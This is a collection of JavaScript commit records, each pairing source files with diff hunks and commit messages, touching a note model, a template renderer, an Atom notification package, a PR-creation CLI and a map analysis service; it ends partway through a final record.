.decompose() } } Object.defineProperty(Line.prototype, 'isLine', {value: true}) class Collection { constructor () { this.buffer = [] } * [Symbol.iterator] () { for (const appended of this.buffer) { for (const line of appended) yield line } } get isEmpty () { return this.buffer.length === 0 } get hasGutter () { for (const line of this) { if (line.hasGutter) return true } return false } get isSingle () { const iterator = this[Symbol.iterator]() iterator.next() return iterator.next().done === true } append (lineOrLines) { if (!lineOrLines.isEmpty) this.buffer.push(lineOrLines) return this } concat (other) { return new Collection() .append(this) .append(other) } toString (theme) { return Array.from(this, line => line.toString(theme)).join('\n') } mergeWithInfix (infix, from) { if (from.isEmpty) throw new Error('Cannot merge, `from` is empty.') const otherLines = Array.from(from) if (!otherLines[0].isFirst) throw new Error('Cannot merge, `from` has no first line.') const merged = new Collection() let seenLast = false for (const line of this) { if (seenLast) throw new Error('Cannot merge line, the last line has already been seen.') if (!line.isLast) { merged.append(line) continue } seenLast = true for (const other of otherLines) { if (other.isFirst) { merged.append(line.mergeWithInfix(infix, other)) } else { merged.append(other) } } } return merged } withFirstPrefixed (prefix) { return new Collection() .append(Array.from(this, line => line.withFirstPrefixed(prefix))) } withLastPostfixed (postfix) { return new Collection() .append(Array.from(this, line => line.withLastPostfixed(postfix))) } stripFlags () { return new Collection() .append(Array.from(this, line => line.stripFlags())) } decompose () { const first = {actual: new Collection(), expected: new Collection()} const last = {actual: new Collection(), expected: new Collection()} const remaining = new Collection() for (const line of this) { if (line.isFirst && line.gutter === ACTUAL) { first.actual.append(line) } else if (line.isFirst && line.gutter === EXPECTED) { first.expected.append(line) } else if (line.isLast && line.gutter === ACTUAL) { last.actual.append(line) } else if (line.isLast && line.gutter === EXPECTED) { last.expected.append(line) } else { remaining.append(line) } } return {first, last, remaining} } } Object.defineProperty(Collection.prototype, 'isCollection', {value: true}) function setDefaultGutter (iterable, gutter) { return new Collection() .append(Array.from(iterable, line => { return line.gutter === null ? new Line(line.isFirst, line.isLast, gutter, line.stringValue) : line })) } module.exports = { buffer () { return new Collection() }, first (stringValue) { return new Line(true, false, null, stringValue) }, last (stringValue) { return new Line(false, true, null, stringValue) }, line (stringValue) { return new Line(false, false, null, stringValue) }, single (stringValue) { return new Line(true, true, null, stringValue) }, setDefaultGutter (lineOrCollection) { return lineOrCollection }, actual: { first (stringValue) { return new Line(true, false, ACTUAL, stringValue) }, last (stringValue) { return new Line(false, true, ACTUAL, stringValue) }, line (stringValue) { return new Line(false, false, ACTUAL, stringValue) }, single (stringValue) { return new Line(true, true, ACTUAL, stringValue) }, setDefaultGutter (lineOrCollection) { return setDefaultGutter(lineOrCollection, ACTUAL) } }, expected: { first (stringValue) { return new Line(true, false, EXPECTED, stringValue) }, last (stringValue) { return new Line(false, true, EXPECTED, stringValue) }, line (stringValue) { return new Line(false, false, EXPECTED, stringValue) }, single (stringValue) { return new Line(true, true, EXPECTED, stringValue) }, setDefaultGutter (lineOrCollection) { return setDefaultGutter(lineOrCollection, EXPECTED) } } }
JavaScript
0.00001
@@ -317,50 +317,8 @@ ng%0A%7D -%0Aexports.translateGutter = translateGutter %0A%0Acl
1e4ace613d24a63414f6ffaa11db3e3c162ae4fc
Use global to pull in the window
lib/loadClients.js
lib/loadClients.js
/** * Treasure Client Loader */ // Modules var _ = require('./utils/lodash') // Helpers function applyToClient (client, method) { var _method = '_' + method if (client[_method]) { var arr = client[_method] || [] while (arr.length) { client[method].apply(client, arr.shift()) } delete client[_method] } } // Constants var TREASURE_KEYS = ['init', 'set', 'addRecord', 'trackPageview', 'trackEvent', 'ready'] /** * Load clients */ module.exports = function loadClients (Treasure, name) { if (_.isObject(global[name])) { var snippet = global[name] var clients = snippet.clients // Copy over Treasure.prototype functions over to snippet's prototype // This allows already-instanciated clients to work _.mixin(snippet.prototype, Treasure.prototype) // Iterate over each client instance _.forEach(clients, function (client) { // Call each key and with any stored values _.forEach(TREASURE_KEYS, function (value) { applyToClient(client, value) }) }) } }
JavaScript
0
@@ -72,16 +72,54 @@ lodash') +%0Avar window = require('global/window') %0A%0A// Hel @@ -569,22 +569,22 @@ sObject( -global +window %5Bname%5D)) @@ -604,22 +604,22 @@ ippet = -global +window %5Bname%5D%0A
18f7eb281c79294ac79ab4896ea74509c4733ea8
Fix create new note should not use default note created time
lib/models/note.js
lib/models/note.js
"use strict"; // external modules var fs = require('fs'); var path = require('path'); var LZString = require('lz-string'); var marked = require('marked'); var cheerio = require('cheerio'); var shortId = require('shortid'); var Sequelize = require("sequelize"); var async = require('async'); var moment = require('moment'); // core var config = require("../config.js"); var logger = require("../logger.js"); // permission types var permissionTypes = ["freely", "editable", "locked", "private"]; module.exports = function (sequelize, DataTypes) { var Note = sequelize.define("Note", { id: { type: DataTypes.UUID, primaryKey: true, defaultValue: Sequelize.UUIDV4 }, shortid: { type: DataTypes.STRING, unique: true, allowNull: false, defaultValue: shortId.generate }, alias: { type: DataTypes.STRING, unique: true }, permission: { type: DataTypes.ENUM, values: permissionTypes }, viewcount: { type: DataTypes.INTEGER, allowNull: false, defaultValue: 0 }, title: { type: DataTypes.TEXT }, content: { type: DataTypes.TEXT }, lastchangeAt: { type: DataTypes.DATE }, savedAt: { type: DataTypes.DATE } }, { classMethods: { associate: function (models) { Note.belongsTo(models.User, { foreignKey: "ownerId", as: "owner", constraints: false }); Note.belongsTo(models.User, { foreignKey: "lastchangeuserId", as: "lastchangeuser", constraints: false }); Note.hasMany(models.Revision, { foreignKey: "noteId", constraints: false }); }, checkFileExist: function (filePath) { try { return fs.statSync(filePath).isFile(); } catch (err) { return false; } }, checkNoteIdValid: function (id) { var uuidRegex = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i; var result = id.match(uuidRegex); if (result && result.length == 1) return true; else return false; }, parseNoteId: function (noteId, callback) { async.series({ parseNoteIdByAlias: function (_callback) { // try to parse note id by alias (e.g. doc) Note.findOne({ where: { alias: noteId } }).then(function (note) { if (note) { var filePath = path.join(config.docspath, noteId + '.md'); if (Note.checkFileExist(filePath)) { // if doc in filesystem have newer modified time than last change time // then will update the doc in db var fsModifiedTime = moment(fs.statSync(filePath).mtime); var dbModifiedTime = moment(note.lastchangeAt || note.createdAt); if (fsModifiedTime.isAfter(dbModifiedTime)) { var body = fs.readFileSync(filePath, 'utf8'); note.update({ title: LZString.compressToBase64(Note.parseNoteTitle(body)), content: LZString.compressToBase64(body), lastchangeAt: fsModifiedTime }).then(function (note) { sequelize.models.Revision.saveNoteRevision(note, function (err, revision) { if (err) return _callback(err, null); return callback(null, note.id); }); }).catch(function (err) { return _callback(err, null); }); } else { return callback(null, note.id); } } else { return callback(null, note.id); } } else { var filePath = path.join(config.docspath, noteId + '.md'); if (Note.checkFileExist(filePath)) { Note.create({ alias: noteId, owner: null, permission: 'locked' }).then(function (note) { return callback(null, note.id); }).catch(function (err) { return _callback(err, null); }); } else { return _callback(null, null); } } }).catch(function (err) { return _callback(err, null); }); }, parseNoteIdByLZString: function (_callback) { // try to parse note id by LZString Base64 try { var id = LZString.decompressFromBase64(noteId); if (id && Note.checkNoteIdValid(id)) return callback(null, id); else return _callback(null, null); } catch (err) { return _callback(err, null); } }, parseNoteIdByShortId: function (_callback) { // try to parse note id by shortId try { if (shortId.isValid(noteId)) { Note.findOne({ where: { shortid: noteId } }).then(function (note) { if (!note) return _callback(null, null); return callback(null, note.id); }).catch(function (err) { return _callback(err, null); }); } else { return _callback(null, null); } } catch (err) { return _callback(err, null); } } }, function (err, result) { if (err) { logger.error(err); return callback(err, null); } return callback(null, null); }); }, parseNoteTitle: function (body) { var $ = cheerio.load(marked(body)); var h1s = $("h1"); var title = ""; if (h1s.length > 0 && h1s.first().text().split('\n').length == 1) title = h1s.first().text(); else title = "Untitled"; return title; }, decodeTitle: function (title) { var decodedTitle = LZString.decompressFromBase64(title); if (decodedTitle) title = decodedTitle; else title = 'Untitled'; return title; }, generateWebTitle: function (title) { title = !title || title == "Untitled" ? "HackMD - Collaborative markdown notes" : title + " - HackMD"; return title; } }, hooks: { beforeCreate: function (note, options, callback) { // if no content specified then use default note if (!note.content) { var body = null; var filePath = null; if (!note.alias) { filePath = config.defaultnotepath; } else { filePath = path.join(config.docspath, note.alias + '.md'); } if (Note.checkFileExist(filePath)) { var fsCreatedTime = moment(fs.statSync(filePath).ctime); body = fs.readFileSync(filePath, 'utf8'); note.title = LZString.compressToBase64(Note.parseNoteTitle(body)); note.content = LZString.compressToBase64(body); note.createdAt = fsCreatedTime; } } // if no permission specified and have owner then give editable permission, else default permission is freely if (!note.permission) { if (note.ownerId) { note.permission = "editable"; } else { note.permission = "freely"; } } return callback(null, note); }, afterCreate: function (note, options, callback) { sequelize.models.Revision.saveNoteRevision(note, function (err, revision) { callback(err, note); }); } } }); return Note; };
JavaScript
0.000001
@@ -9729,16 +9729,87 @@ (body);%0A + if (filePath !== config.defaultnotepath) %7B%0A @@ -9856,16 +9856,42 @@ edTime;%0A + %7D%0A
db2c4d371b2361638a2818e729ce2ea63e0cdfc0
use async/await with fetch
lib/actions/api.js
lib/actions/api.js
/* globals fetch */ import deepEqual from 'deep-equal' import { createAction } from 'redux-actions' import qs from 'qs' if (typeof (fetch) === 'undefined') { require('isomorphic-fetch') } import { queryIsValid } from '../util/state' export const receivedPlanError = createAction('PLAN_ERROR') export const receivedPlanResponse = createAction('PLAN_RESPONSE') export const requestPlanResponse = createAction('PLAN_REQUEST') export function planTrip (customOtpQueryBuilder) { return function (dispatch, getState) { const otpState = getState().otp const latest = otpState.searches.length && otpState.searches[otpState.searches.length - 1] // check for query change if (otpState.activeSearch !== null && latest && deepEqual(latest.query, otpState.currentQuery)) { console.log('query hasn\'t changed') return } if (!queryIsValid(otpState)) return dispatch(requestPlanResponse()) const queryBuilderFn = customOtpQueryBuilder || otpState.config.customOtpQueryBuilder || constructPlanQuery const url = queryBuilderFn(otpState.config.api, otpState.currentQuery) // setURLSearch(url) fetch(url) .then(response => { if (response.status >= 400) { const error = new Error('Received error from server') error.response = response throw error } return response.json() }) .then(json => dispatch(receivedPlanResponse(json))) .catch((err) => { dispatch(receivedPlanError(err)) }) } } // function setURLSearch (params) { // window.location.hash = `#plan?${params.split('plan?')[1]}` // } function constructPlanQuery (api, query) { const planEndpoint = `${api.host}:${api.port}${api.path}/plan` const { mode, time, date } = query const params = { arriveBy: query.departArrive === 'ARRIVE', date, fromPlace: `${query.from.lat},${query.from.lon}`, showIntermediateStops: true, toPlace: `${query.to.lat},${query.to.lon}`, mode, time } const stringParams = qs.stringify(params) // TODO: set url hash based on params // setURLSearch(stringParams) // TODO: check that valid from/to locations are provided return `${planEndpoint}?${stringParams}` }
JavaScript
0.000003
@@ -483,16 +483,22 @@ return +async function @@ -1142,31 +1142,43 @@ -fetch(url) +let response, json%0A try %7B %0A -.then( resp @@ -1183,28 +1183,40 @@ sponse = -%3E %7B + await fetch(url) %0A - if (resp @@ -1233,26 +1233,24 @@ s %3E= 400) %7B%0A - cons @@ -1299,18 +1299,16 @@ erver')%0A - @@ -1341,18 +1341,16 @@ - throw er @@ -1363,18 +1363,16 @@ - %7D%0A re @@ -1367,24 +1367,28 @@ %7D%0A - return +json = await respons @@ -1404,99 +1404,77 @@ - %7D)%0A .then(json =%3E dispatch(receivedPlanResponse(json)))%0A .catch((err) =%3E %7B +%7D catch (err) %7B%0A return dispatch(receivedPlanError(err)) %0A +%7D%0A%0A @@ -1498,27 +1498,22 @@ Plan -Error(err))%0A %7D +Response(json) )%0A
3669eb06ff1205a4abc6f62f8807be604bf492b9
Fix pr creation
lib/advanced/pr.js
lib/advanced/pr.js
const _ = require('lodash'); const fs = require('fs'); const os = require('os'); const path = require('path'); const audit = require('../git/audit'); const branches = require('../utils/branches'); const configuration = require('../utils/configuration'); const execution = require('../utils/execution'); const prompt = require('../utils/prompt'); const reviewTools = require('../utils/reviewTools'); const createPullRequest = async () => { const parsedRepositoryPath = configuration.parseRepositoryPath(); const reviewToolName = configuration.getRepositoryOption('reviewTool'); const pullRequestToken = configuration.getGlobalOption(`accounts.${reviewToolName}.pullRequestToken`); const reviewTool = reviewTools.REVIEW_TOOLS[ reviewToolName ]; if (!reviewTool) { execution.exit(1, `The review tool ${reviewToolName} is not supported at the moment.\n` + 'Maybe this is a typo in your repository configuration file'); } const lastTenCommitMessages = execution.execute('git --no-pager log -n 10 --pretty=format:\'%s\'').split('\n'); const choices = _(lastTenCommitMessages) .map((commitMessage, index) => { return [ index + 1, commitMessage ]; }) .fromPairs() .value(); execution.print('\nLast 10 commit messages:'); _(choices).each((option, index) => { execution.print(`${index}: ${option}`); }); execution.print('Choose a title for the PR.'); const message = 'You can choose from the list above by number, type a title or q to abort.'; const choice = await prompt.singleQuestion({ message, defaultValue: '1' }); if (choice === 'q') { execution.exit(0, 'Operation aborted.'); } const prTitle = _.inRange(choice, 1, 10) ? choices[ choice ] : choice; const shouldWriteDescription = prompt.yesNoPrompt({ message: 'Do you want to write a description ?', defaultValue: false }); const prOptions = { owner: parsedRepositoryPath.ownerName, repository: parsedRepositoryPath.repositoryName, currentBranch: branches.getCurrentBranchName(), baseBranch: branches.getBranchDescription().baseBranch, pullRequestToken, prTitle }; if (shouldWriteDescription) { const fileToEdit = path.resolve(os.tmpdir(), `gut_pr_${branches.getCurrentBranchName()}_description.txt`); execution.execute(`touch ${fileToEdit}`); execution.openFile(fileToEdit); _.set(prOptions, '.description', fs.readFileSync(fileToEdit, 'utf8')); } return reviewTool.createPullRequest(prOptions); }; module.exports = { pr: async () => { const branchOnlyCommits = branches.getBranchOnlyCommits(); const numberOfCommits = _.size(branchOnlyCommits); if (numberOfCommits === 0) { execution.exit(0, 'There are no commits added from the base branch, aborting.'.yellow); } execution.print('Auditing the commits on the pull request'.bold); execution.print(`Number of commits for the current PR: ${numberOfCommits}`.cyan); const diff = execution.execute(`git --no-pager diff -U0 --no-color HEAD~${numberOfCommits}..HEAD`); audit.parseDiffAndDisplay(diff); const message = 'Do you still want to create a PR for this branch ?'; const shouldCreatePullRequest = await prompt.yesNoPrompt({ message, defaultValue: true }); if (!shouldCreatePullRequest) { execution.exit(0, 'Operation aborted by user.'); } await createPullRequest(); } };
JavaScript
0
@@ -1754,16 +1754,22 @@ iption = + await prompt.
68c710ad4d1aee2863dfb65d8ce5657f19c186f2
Add Escaping
lib/mu/renderer.js
lib/mu/renderer.js
var BUFFER_LENGTH = 1024 * 8; var MAX_STACK_SIZE = 100; var parser = require('./parser'); var nextTick = (typeof setImmediate == 'function') ? setImmediate : process.nextTick; exports.render = render; function render(tokens, context, partials, stream, callback) { if (!Array.isArray(context)) { context = [context]; } return _render(tokens, context, partials, stream, callback); } function _render(tokens, context, partials, stream, callback) { if (tokens[0] !== 'multi') { throw new Error('Mu - WTF did you give me? I expected mustache tokens.'); } var i = 1 , stackSize = 0; function next() { try { if (stream.paused) { stream.once('resumed', function () { nextTick(next); }); return; } if (++stackSize % MAX_STACK_SIZE == 0) { nextTick(next); return; } var token = tokens[i++]; if (!token) { return callback ? callback() : true; } switch (token[0]) { case 'static': stream.emit('data', token[2]); return next(); case 'mustache': switch (token[1]) { case 'utag': // Unescaped Tag stream.emit('data', s(normalize(context, token[2]),stream,token[2])); return next(); case 'etag': // Escaped Tag stream.emit('data', escape(s(normalize(context, token[2]),stream,token[2]))); return next(); case 'section': var res = normalize(context, token[2], token[3]); if (res) { return section(context, token[2], res, token[4], partials, stream, next); } else { return next(); } case 'inverted_section': var res = normalize(context, token[2], token[3]); if (!res || res.length === 0) { return section(context, token[2], true, token[4], partials, stream, next); } else { return next(); } case 'partial': var partial = partials[token[2]]; // console.log(require('util').inspect(partials)); if (partial) { return render(partial[0].tokens, context, partials, stream, next); } else { return next(); } } } } catch (err) { stream.emit('error', err); next(); } } next(); } function s(val,stream,token) { if (val === null || typeof val === 'undefined') { if(stream && token){ stream.emit('warn',{token:token,category:'token.undefined'}); } return ''; } else { return val.toString(); } } function escape(string) { return string.replace(/[&<>"]/g, escapeReplace); } function normalize(context, name, body) { var val = walkToFind(context, name); if (typeof(val) === 'function') { val = val.call(smashContext(context), body); } return val; } function walkToFind(context, name) { var i = context.length; while (i--) { var result = contextLevelContains(context[i], name); if (result !== undefined) { return result; } } return undefined; } function contextLevelContains(context, fullPath) { var pathParts = fullPath.split('.'); var obj = context; for (var i = 0; i < pathParts.length; i++) { var part = pathParts[i]; if (typeof obj == 'object' && part in obj) { obj = obj[part]; } else { obj = undefined; break; } } return obj; } // TODO: if Proxy, make more efficient // TODO: cache? function smashContext(context) { var obj = {}; for (var i = 0; i < context.length; i++) { var level = context[i]; if (level instanceof Date) { obj.__date = level; } else { for (var k in level) { obj[k] = level[k]; } } } return obj; } function section(context, name, val, tokens, partials, stream, callback) { if (val instanceof Array) { var i = 0; (function next() { var item = val[i++]; if (item) { context.push(item); _render(tokens, context, partials, stream, function () { context.pop(); if (i % MAX_STACK_SIZE == 0) { return nextTick(next); } else { next(); } }); } else { callback(); } }()); return; } if (typeof val === 'object') { context.push(val); _render(tokens, context, partials, stream, function () { context.pop(); callback(); }); return; } if (val) { return _render(tokens, context, partials, stream, callback); } return callback(); } // // // function findInContext(context, key) { var i = context.length; while (i--) { if (context[i][key]) { return context[i][key]; } } return undefined; } // // // function escapeReplace(char) { switch (char) { case '<': return '&lt;'; case '>': return '&gt;'; case '&': return '&amp;'; case '"': return '&quot;'; default: return char; } }
JavaScript
0.000024
@@ -1155,24 +1155,26 @@ token%5B1%5D) %7B%0A +// case @@ -1191,32 +1191,34 @@ / Unescaped Tag%0A +// stream @@ -1277,24 +1277,26 @@ token%5B2%5D));%0A +// re @@ -1353,16 +1353,76 @@ ped Tag%0A + case 'utag': // Unescaped Tag (forces escape below)%0A @@ -4998,17 +4998,17 @@ case ' -%3C +%7B ': retur @@ -5013,14 +5013,13 @@ urn -'&lt;' +%22%5C%5C%7B%22 ;%0A @@ -5026,17 +5026,17 @@ case ' -%3E +%7D ': retur @@ -5041,44 +5041,125 @@ urn -'&gt;';%0A case '&': return '&amp;' +%22%5C%5C%7D%22;%0A case '_': return %22%5C%5C_%22;%0A case '#': return %22%5C%5C#%22;%0A case '&': return %22%5C%5C&%22;%0A case '$': return %22%5C%5C$%22 ;%0A @@ -5166,17 +5166,17 @@ case ' -%22 +%25 ': retur @@ -5181,16 +5181,41 @@ urn -'&quot;' +%22%5C%5C%25%22;%0A case '~': return %22%5C%5C~%22 ;%0A
16d94f0a9cc0877e781797cf2f7a0166c4d9222c
Change naming to improve code readability
lib/notify-atom.js
lib/notify-atom.js
"use babel"; import {CompositeDisposable} from "atom"; import http from "http"; import querystring from "querystring"; export default { config: { port: { type: "integer", default: 8090, minimum: 1, }, }, subscriptions: null, packageName: "notify-atom", activate (state) { this.subscriptions = new CompositeDisposable(); const configPort = "notify-atom.port"; const restartServer = (wasRestart) => { if (this.server) { this.server.close(); } this.port = atom.config.get(configPort); this.startListening(this.port, wasRestart); }; restartServer(); atom.config.onDidChange(configPort, ({newValue, oldValue}) => { if (this.restartTimeout) { window.clearTimeout(this.restartTimeout); } this.restartTimeout = window.setTimeout(() => { this.restartTimeout = null; restartServer(true); }, 1000); }); }, startListening (port, wasRestart) { this.server = http.createServer((request, response) => { if (request.method.toUpperCase() === "POST") { let body = ""; request.on("data", (data) => { body += data; if (body.length > 1e6) { request.connection.destroy(); } }); request.on("end", () => { let requestParams = {}; try { requestParams = JSON.parse(body); } catch (e) { requestParams = querystring.parse(body); } this.handleRequest(requestParams); }); } response.writeHead(200); response.end(); }); this.server.on("error", (err) => { if (err.code.indexOf("EADDRINUSE") !== -1) { atom.notifications.addWarning(`Failed to start ${this.packageName}`, { description: `Unable to bind to port (${this.port}). This port is already in use by another service. Please change your port number in the package settings.`, // eslint-disable-line }); } else { atom.notifications.addError(`Failed to start ${this.packageName}`, { description: `Unable to bind to port (${this.port}) for an unknown reason. Please report this to the package maintainer:<br/><br/>${err}` // eslint-disable-line }); } }); this.server.listen(port, () => { if (wasRestart) { atom.notifications.addSuccess(`${this.packageName} restarted`, { description: `Now listening on port ${this.port}`, }); } }); }, handleRequest (r) { const handlers = { success: atom.notifications.addSuccess.bind(atom.notifications), info: atom.notifications.addInfo.bind(atom.notifications), warning: atom.notifications.addWarning.bind(atom.notifications), error: atom.notifications.addError.bind(atom.notifications), fatalerror: atom.notifications.addFatalError.bind(atom.notifications), }; if (!r.type || !handlers[r.type] || !r.message) { return; } handlers[r.type](r.message); }, deactivate () { this.subscriptions.dispose(); }, serialize () { return { }; }, };
JavaScript
0.000004
@@ -411,18 +411,16 @@ const -re startSer @@ -610,26 +610,24 @@ %7D;%0A%0A -re startServer( @@ -888,18 +888,16 @@ -re startSer
c41202b6b354206a301502a87948591bea92d12f
Add extra file types for OMeta.
lib/ometajs/api.js
lib/ometajs/api.js
var ometajs = require('../ometajs'), uglify = require('uglify-js'), vm = require('vm'), Module = require('module'), clone = function clone(obj) { var o = {}; Object.keys(obj).forEach(function(key) { o[key] = obj[key]; }); return o; }; // // ### function compilationError(m, i) // #### @m {Number} // #### @i {Number} // function compilationError(m, i, fail) { throw fail.extend({errorPos: i}); }; // // ### function translationError(m, i) // #### @m {Number} // #### @i {Number} // function translationError(m, i, fail) { throw fail; }; // // ### function wrapModule(module) // #### @code {String} javascript code to wrap // Wrap javascript code in ometajs.core context // function wrapModule(code, options) { var req = 'require(\'' + (options.root || ometajs.root || 'core') + '\')', buf = [ 'var OMeta;', 'if(typeof window !== "undefined") {', 'OMeta = window.OMeta;', '} else {', 'OMeta = ', req, '.OMeta;', '}', 'if(typeof exports === "undefined") {', 'exports = {};', '}' ]; buf.push(code); return buf.join(''); }; // // ### function translateCode(code) // #### @code {String} source code // Translates .ometajs code into javascript // function translateCode(code, options) { options || (options = {}); var tree = ometajs.BSOMetaJSParser.matchAll(code, "topLevel", undefined, compilationError); code = ometajs.BSOMetaJSTranslator.match(tree, "trans", undefined, translationError); // Beautify code code = uglify.uglify.gen_code(uglify.parser.parse(code), { beautify: true }); if (options.noContext) return code; return wrapModule(code, options); }; exports.translateCode = translateCode; // // ### function evalCode(code, filename) // #### @code {String} source code // #### @filename {String} filename for stack traces // Translates and evaluates ometajs code // function evalCode(code, filename, options) { options || (options = {}); options.noContext = true; code = translateCode(code, options); return vm.runInNewContext('var exports = {};' + code + '\n;exports', clone(ometajs.core), filename || 'ometa'); }; exports.evalCode = evalCode; // Allow users to `require(...)` ometa files require.extensions['.ometajs'] = function(module, filename) { var code = translateCode(require('fs').readFileSync(filename).toString()); module._compile(code, filename); };
JavaScript
0
@@ -2452,16 +2452,76 @@ tajs'%5D = + require.extensions%5B'.ojs'%5D = require.extensions%5B'.ometa'%5D = functio
50fdc4b281515cdc124f88f1b7542e8e823b0cbc
send subRegion to the new endpoint
app/assets/javascripts/map/services/AnalysisNewService.js
app/assets/javascripts/map/services/AnalysisNewService.js
/* eslint-disable */ define( [ 'Class', 'uri', 'bluebird', 'helpers/geojsonUtilsHelper', 'map/services/GeostoreService', 'map/services/DataService' ], function( Class, UriTemplate, Promise, geojsonUtilsHelper, GeostoreService, ds ) { 'use strict'; var GET_REQUEST_ID = 'AnalysisService:get'; var APIURL = window.gfw.config.GFW_API_HOST_NEW_API; var APIURLV2 = window.gfw.config.GFW_API_HOST_API_V2; var APIURLS = { draw: '/{dataset}{?geostore,period,thresh,gladConfirmOnly}', country: '/{dataset}/admin{/country}{/region}{/subRegion}{?period,thresh,gladConfirmOnly}', wdpaid: '/{dataset}/wdpa{/wdpaid}{?period,thresh,gladConfirmOnly}', use: '/{dataset}/use{/use}{/useid}{?period,thresh,gladConfirmOnly}', 'use-geostore': '/{dataset}{?geostore,period,thresh,gladConfirmOnly}' }; var AnalysisService = Class.extend({ get: function(status) { return new Promise( function(resolve, reject) { this.analysis = this.buildAnalysisFromStatus(status); this.apiHost = this.getApiHost(this.analysis.dataset); this.getUrl().then( function(data) { ds.define(GET_REQUEST_ID, { cache: false, url: this.apiHost + data.url, type: 'GET', dataType: 'json', decoder: function(data, status, xhr, success, error) { if (status === 'success') { success(data, xhr); } else if (status === 'fail' || status === 'error') { error(xhr.responseText); } else if (status !== 'abort') { error(xhr.responseText); } } }); var requestConfig = { resourceId: GET_REQUEST_ID, success: function(response, status) { resolve(response, status); }.bind(this), error: function(errors) { reject(errors); }.bind(this) }; this.abortRequest(); this.currentRequest = ds.request(requestConfig); }.bind(this) ); }.bind(this) ); }, getUrl: function() { return new Promise( function(resolve, reject) { resolve({ url: UriTemplate(APIURLS[this.analysis.type]).fillFromObject( this.analysis ) }); }.bind(this) ); }, buildAnalysisFromStatus: function(status) { // To allow layerOptions // I really think that this should be an object instead of an array, or an array of objects var layerOptions = {}; _.each(status.layerOptions, function(val) { layerOptions[val] = true; }); // TEMP var period = status.begin + ',' + status.end; if (status.dataset === 'umd-loss-gain') { period = status.begin + ',' + moment .utc(status.end) .subtract(1, 'days') .format('YYYY-MM-DD'); } return _.extend( {}, status, layerOptions, { country: status.iso.country, region: status.iso.region, thresh: status.threshold, period: period, // If a userGeostore exists we need to set geostore and type manually geostore: status.useGeostore ? status.useGeostore : status.geostore, type: status.useGeostore ? 'use-geostore' : status.type }, layerOptions ); }, getApiHost: function(dataset) { return dataset === 'umd-loss-gain' ? APIURLV2 : APIURL; }, /** * Abort the current request if it exists. */ abortRequest: function() { if (this.currentRequest) { this.currentRequest.abort(); this.currentRequest = null; } } }); return new AnalysisService(); } );
JavaScript
0
@@ -3504,16 +3504,61 @@ region,%0A + subRegion: status.iso.subRegion,%0A
be98e086ce56d28a5c23c813a370ae4b3e31d297
Remove save buttons if user is read-only
app/assets/javascripts/student_profile/TransitionNotes.js
app/assets/javascripts/student_profile/TransitionNotes.js
import React from 'react'; import PropTypes from 'prop-types'; import SectionHeading from '../components/SectionHeading'; import _ from 'lodash'; const styles = { textarea: { marginTop: 20, fontSize: 14, border: '1px solid #eee', width: '100%' //overriding strange global CSS, should cleanup } }; const notePrompts = `What are this student's strengths? —————————— What is this student's involvement in the school community like? —————————— How does this student relate to their peers? —————————— Who is the student's primary guardian? —————————— Any additional comments or good things to know about this student? —————————— `; const restrictedNotePrompts = `Is this student receiving Social Services and if so, what is the name and contact info of their social worker? —————————— Is this student receiving mental health supports? —————————— `; class TransitionNotes extends React.Component { constructor(props) { super(props); const transitionNotes = props.transitionNotes; const regularNote = _.find(transitionNotes, {is_restricted: false}); const restrictedNote = _.find(transitionNotes, {is_restricted: true}); this.state = { noteText: (regularNote ? regularNote.text : notePrompts), restrictedNoteText: (restrictedNote ? restrictedNote.text : restrictedNotePrompts), regularNoteId: (regularNote ? regularNote.id : null), restrictedNoteId: (restrictedNote ? restrictedNote.id : null) }; this.onClickSave = this.onClickSave.bind(this); this.onClickSaveRestricted = this.onClickSaveRestricted.bind(this); } buttonText() { const {requestState} = this.props; if (requestState === 'pending') return 'Saving ...'; if (requestState === 'error') return 'Error ...'; return 'Save Note'; } buttonTextRestricted() { const {requestStateRestricted} = this.props; if (requestStateRestricted === 'pending') return 'Saving ...'; if (requestStateRestricted === 'error') return 'Error ...'; return 'Save Note'; } onClickSave() { const params = { is_restricted: false, text: this.state.noteText }; if (this.state.regularNoteId) { _.merge(params, {id: this.state.regularNoteId}); } this.props.onSave(params); } onClickSaveRestricted() { const params = { is_restricted: true, text: this.state.restrictedNoteText }; if (this.state.restrictedNoteId) { _.merge(params, {id: this.state.restrictedNoteId}); } this.props.onSave(params); } render() { const {noteText, restrictedNoteText} = this.state; return ( <div style={{display: 'flex'}}> <div style={{flex: 1, margin: 30}}> <SectionHeading> High School Transition Note </SectionHeading> <textarea rows={10} style={styles.textarea} value={noteText} onChange={(e) => this.setState({noteText: e.target.value})} /> <button onClick={this.onClickSave} className="btn save"> {this.buttonText()} </button> </div> <div style={{flex: 1, margin: 30}}> <SectionHeading> High School Transition Note (Restricted) </SectionHeading> <textarea rows={10} style={styles.textarea} value={restrictedNoteText} onChange={(e) => this.setState({restrictedNoteText: e.target.value})}/> <button onClick={this.onClickSaveRestricted} className="btn save"> {this.buttonTextRestricted()} </button> </div> </div> ); } } TransitionNotes.propTypes = { readOnly: PropTypes.bool.isRequired, onSave: PropTypes.func.isRequired, transitionNotes: PropTypes.array.isRequired, requestState: PropTypes.string, // can be null if no request requestStateRestricted: PropTypes.string // can be null if no request }; export default TransitionNotes;
JavaScript
0.000001
@@ -3004,78 +3004,45 @@ -%3Cbutton onClick=%7Bthis.onClickSave%7D className=%22btn save%22%3E%0A %7B +%7Bthis.renderButton(this.onClickSave, this @@ -3056,32 +3056,11 @@ Text -( )%7D%0A - %3C/button%3E%0A @@ -3437,25 +3437,27 @@ -%3Cbutton onClick=%7B +%7Bthis.renderButton( this @@ -3482,108 +3482,280 @@ cted -%7D className=%22btn save%22%3E%0A %7Bthis.buttonTextRestricted()%7D%0A +, thisbuttonTextRestricted)%7D%0A %3C/div%3E%0A %3C/div%3E%0A );%0A %7D%0A%0A renderButton(onClickFn, buttonTextFn) %7B%0A const %7BreadOnly%7D = this.props;%0A%0A if (readOnly) return null;%0A%0A return (%0A %3C -/ button -%3E%0A %3C/div%3E + onClick=%7BonClickFn%7D className='btn save'%3E%0A %7BbuttonTextFn()%7D %0A @@ -3751,35 +3751,38 @@ xtFn()%7D%0A %3C/ -div +button %3E%0A );%0A %7D%0A%0A%7D%0A
253c99b263c130b1183e3595a7c86f7f27dfbd9e
Rename event handler for consistency
app/scenes/SearchScreen/components/RepoSearchBar/index.js
app/scenes/SearchScreen/components/RepoSearchBar/index.js
